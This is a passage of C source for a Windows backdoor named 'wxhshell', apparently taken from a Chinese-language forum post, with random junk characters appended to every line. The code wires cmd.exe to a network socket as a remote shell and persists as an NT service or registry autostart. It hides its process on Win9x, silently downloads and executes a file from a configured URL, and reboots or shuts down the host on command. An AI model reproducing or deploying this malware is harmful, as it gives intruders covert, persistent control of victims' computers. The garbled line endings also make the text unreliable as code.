  // 帮助 | &vuK9q  
  case '?': { fO nvC*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;wrgpP3  
    break; Jmx }r,j  
  } lX3h'h  
  // 安装 3R {y68-S  
  case 'i': { ~O-8h0d3  
    if(Install()) =oJiNM5_u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3yr6J[ ^  
    else gG>>ynn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AF6'JxG7  
    break; ba13^;fm#  
    } H=C;g)R  
  // 卸载 P+h&tXZn8  
  case 'r': { 67?5Cv  
    if(Uninstall()) G]CY3xw98  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b??1Up  
    else (P-<9y@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K2 2Xo<3  
    break; g_U69 z  
    } X Rn=;gK%J  
  // 显示 wxhshell 所在路径 6Y^o8R  
  case 'p': { {J$aA6t:"T  
    char svExeFile[MAX_PATH]; pJ[Q.QxU  
    strcpy(svExeFile,"\n\r"); J7xmf,76w  
      strcat(svExeFile,ExeFile); 9K!='u`  
        send(wsh,svExeFile,strlen(svExeFile),0); bSfQH4F  
    break; "Cb<~Dy  
    } X[<9+Q-&  
  // 重启 at!?"u  
  case 'b': { ~@JC1+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); & j43DYw4  
    if(Boot(REBOOT)) L%FL{G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr5)$qZW  
    else { 30@ GFaab  
    closesocket(wsh); ^ dqEOW  
    ExitThread(0); 9&cZIP   
    } [@6iStRg7  
    break; j$6}r  
    } {Y Ymt!Ic  
  // 关机 +zsya4r  
  case 'd': { $]FWpr%)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uc_ X;M;  
    if(Boot(SHUTDOWN)) MXb(Z9)]kw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |k+^D:  
    else { x<(h9tB  
    closesocket(wsh); JN_# [S$  
    ExitThread(0); o9i\[Ul  
    } GSp1,E2J  
    break; e 3K  
    } g5)VV"  
  // 获取shell iweP3u##  
  case 's': { 7 <xxOY>y  
    CmdShell(wsh); |Bp?"8%*l  
    closesocket(wsh); `c(@WK4  
    ExitThread(0); rzu^br9X  
    break; ;QYK {3R?  
  } q)*0G*  
  // 退出 {/ta1&xyG  
  case 'x': { '' 6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4rm/+Zes  
    CloseIt(wsh); cu-WY8n  
    break; scdT/|(U$  
    } E _K7.c4M  
  // 离开 gA6C(##0  
  case 'q': { 5 S 1m&s5k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); amRtFrc|  
    closesocket(wsh); W4<}w-AoEp  
    WSACleanup(); *q RQN+%  
    exit(1); 'g#GUSXfj  
    break; o0 Ae*Y0  
        } <  -Nj  
  } l _:%?4MA  
  } )7^jq|  
KjadX&JD  
  // 提示信息 c\Dv3bF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); utr_fFu  
} om1 / 9  
  } XL:7$  
* XJSa  
  return; rhrlEf@  
} ]Uu/1TTf  
|fUSq1//  
// shell模块句柄 DcOLK\  
int CmdShell(SOCKET sock) hXCDlCO  
{ D)Zv  
STARTUPINFO si; DCj!m<Y&  
ZeroMemory(&si,sizeof(si)); b|NEU-oy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y3[@(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; + '`RJ,K+[  
PROCESS_INFORMATION ProcessInfo; CVm*Q[5s"  
char cmdline[]="cmd"; R:Lu)d>=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9cLKb  
  return 0; M0|z^2  
} f =Nm2(e  
D<MtLwH  
// 自身启动模式 &b_duWs  
int StartFromService(void) "k.<"pf  
{ jzQgD ed ]  
typedef struct 1n^xVk-G  
{ ~L2Fo~fw  
  DWORD ExitStatus; `6zoZM7?Y  
  DWORD PebBaseAddress; Jps!,Mflc  
  DWORD AffinityMask; i |t$sBIh  
  DWORD BasePriority; 4 QWHGh"  
  ULONG UniqueProcessId; -8]$a6`{_  
  ULONG InheritedFromUniqueProcessId; u>BR WN  
}   PROCESS_BASIC_INFORMATION; w"~T5%p  
HkrNt/]  
PROCNTQSIP NtQueryInformationProcess; 8g3 6-8  
gY%-0@g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )lZb=t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %EuSP0  
`!i>fo~  
  HANDLE             hProcess; FGC[yz1g:  
  PROCESS_BASIC_INFORMATION pbi; Ae"B]Cxb_X  
]]+"`t,-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); avQwbAh[  
  if(NULL == hInst ) return 0; R8HFyP  
8qT/1b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;yr 'K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "zugnim  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zQ6otDZx  
%NvY~,  
  if (!NtQueryInformationProcess) return 0; BwR)--75  
CGQ`i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NOvN8.K%  
  if(!hProcess) return 0; .A E(D7d6  
Yv>% 5`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [,VD^\  
|g~.]2az  
  CloseHandle(hProcess); nkxVc  
zJPzI{-w|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T a_#Rg*!  
if(hProcess==NULL) return 0; T!8,R{V]4  
sPut@4[S  
HMODULE hMod; z;T?2~g!  
char procName[255]; Gd!y,n&s  
unsigned long cbNeeded; @>:r'Fmu-  
-{HA+YL H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4oJ0,u  
tlj^0  
  CloseHandle(hProcess); ,a}+Jj{  
% _N-:.S  
if(strstr(procName,"services")) return 1; // 以服务启动 JMXCyDy;  
Wa wOap  
  return 0; // 注册表启动 Ls( &.  
} YM-,L-HMA  
-Wf 2m6t  
// 主模块 u-D%: lz85  
int StartWxhshell(LPSTR lpCmdLine) Ay[6rUO  
{ 8/k* "^3  
  SOCKET wsl; F8q|$[nH  
BOOL val=TRUE; ^5OR%N)  
  int port=0; U2;_{n*g%  
  struct sockaddr_in door; &4LrV+`$V  
yTv#T(of  
  if(wscfg.ws_autoins) Install(); L:7%Wdyh  
3{CXIS  
port=atoi(lpCmdLine); p~qdkA<  
F&^u1RYz  
if(port<=0) port=wscfg.ws_port; alyWp  
ol-U%J  
  WSADATA data; G#UO>i0jy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *~cq (PFQ  
QN":Qk(,q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r+>gIX+Fl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0`:0m/fsU  
  door.sin_family = AF_INET; NbH;@R)L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); arm26YA-,  
  door.sin_port = htons(port); X-=49)  
fTMn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K1Mn_)%  
closesocket(wsl); U 1vZ r{\  
return 1; b:2# 3;)  
} U`z=!KI+g  
n&Bgpt~  
  if(listen(wsl,2) == INVALID_SOCKET) { /C}u,dBf  
closesocket(wsl); BKi@c\Wb  
return 1; eot%T h?[  
} }Ge$?ZFH  
  Wxhshell(wsl); RGsgT^  
  WSACleanup(); a0~LZQ?  
3v\}4)A[  
return 0; 0 *2^joUv  
]v=A}}kS  
} <m'W{n%Pp  
4S5U|n  
// 以NT服务方式启动 ,?S1e#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +87|gC7B  
{ :pq+SifP  
DWORD   status = 0; \I (g70  
  DWORD   specificError = 0xfffffff; MaN6bM  
3s;^p,9 Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *mby fu0q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;?4EVZ#o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %py3fzg  
  serviceStatus.dwWin32ExitCode     = 0; T,r?% G{XE  
  serviceStatus.dwServiceSpecificExitCode = 0; shKTj5s?  
  serviceStatus.dwCheckPoint       = 0; $Y,y~4I  
  serviceStatus.dwWaitHint       = 0; h/k00hD60  
xPCRT*Pd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\q:  
  if (hServiceStatusHandle==0) return; A`71L V%  
fN&@y$  
status = GetLastError(); ;Nk,bb K  
  if (status!=NO_ERROR) |0OY> 5  
{ |h%=a8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H\RejGR  
    serviceStatus.dwCheckPoint       = 0; Ym%XCl  
    serviceStatus.dwWaitHint       = 0; g-?@a  
    serviceStatus.dwWin32ExitCode     = status; @ Z.BYC  
    serviceStatus.dwServiceSpecificExitCode = specificError; 42M_  %l_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 41g "7Mk  
    return; rny(8z%Ck-  
  } s5h}MXIXw  
MroN=%|t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~[<C6{  
  serviceStatus.dwCheckPoint       = 0; #zRHYZc'T|  
  serviceStatus.dwWaitHint       = 0; fYSH]!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); galzk$D  
} LY-,cXm&|  
zG{P5@:.R  
// 处理NT服务事件,比如:启动、停止 z^vfha  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qA0PGo  
{ iYD5~pK8  
switch(fdwControl) sKCYGt$  
{ hi`[  
case SERVICE_CONTROL_STOP: DG?g~{Y~b  
  serviceStatus.dwWin32ExitCode = 0; t'1g+g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bFjH* ~ P  
  serviceStatus.dwCheckPoint   = 0; ,BUrZA2\U$  
  serviceStatus.dwWaitHint     = 0; 1oe,>\\  
  { >dx/k)~~-L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X!_&%^L'  
  } e>6|# d  
  return; @Bds0t  
case SERVICE_CONTROL_PAUSE: {7jl) x3l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hjyM xg;Q?  
  break; 3^[P  
case SERVICE_CONTROL_CONTINUE: "}MP{/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {]2^b)  
  break; eAmI~oku  
case SERVICE_CONTROL_INTERROGATE: _K}q%In  
  break; nrHC;R.nE  
}; aq)g&.dw?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DkX^b:D*f  
} }`kiULC'=  
C~egF=w  
// 标准应用程序主函数 ? X6M8`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r0!')?#Z  
{ f0vO(@I  
#9gx4U  
// 获取操作系统版本 793 15A  
OsIsNt=GetOsVer(); >TMd1? ,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )$RV)  
d?&`Z Vl  
  // 从命令行安装 qg{gCG  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7HkFDI()1  
}f;WYz5  
  // 下载执行文件 /{f"0]-RA  
if(wscfg.ws_downexe) { T%% 0W J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9dq"x[  
  WinExec(wscfg.ws_filenam,SW_HIDE); }4p)UX>aWT  
} Li]bU   
b"WF]x|^  
if(!OsIsNt) { VwpC UW  
// 如果时win9x,隐藏进程并且设置为注册表启动 n&Ckfo_D  
HideProc(); f`:GjA,J$  
StartWxhshell(lpCmdLine); d7Vp^^}(  
} U$mDAi$  
else hw,nA2w\  
  if(StartFromService()) ]XU4nNi  
  // 以服务方式启动 HdN5zl,q  
  StartServiceCtrlDispatcher(DispatchTable); |Fe[RGi+8  
else y_X jY  
  // 普通方式启动 >MJ#|vO  
  StartWxhshell(lpCmdLine); E447'aJ  
+q'\rpt  
return 0; ulxfxfd  
}
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只看该作者 1 发表于: 2006-10-10
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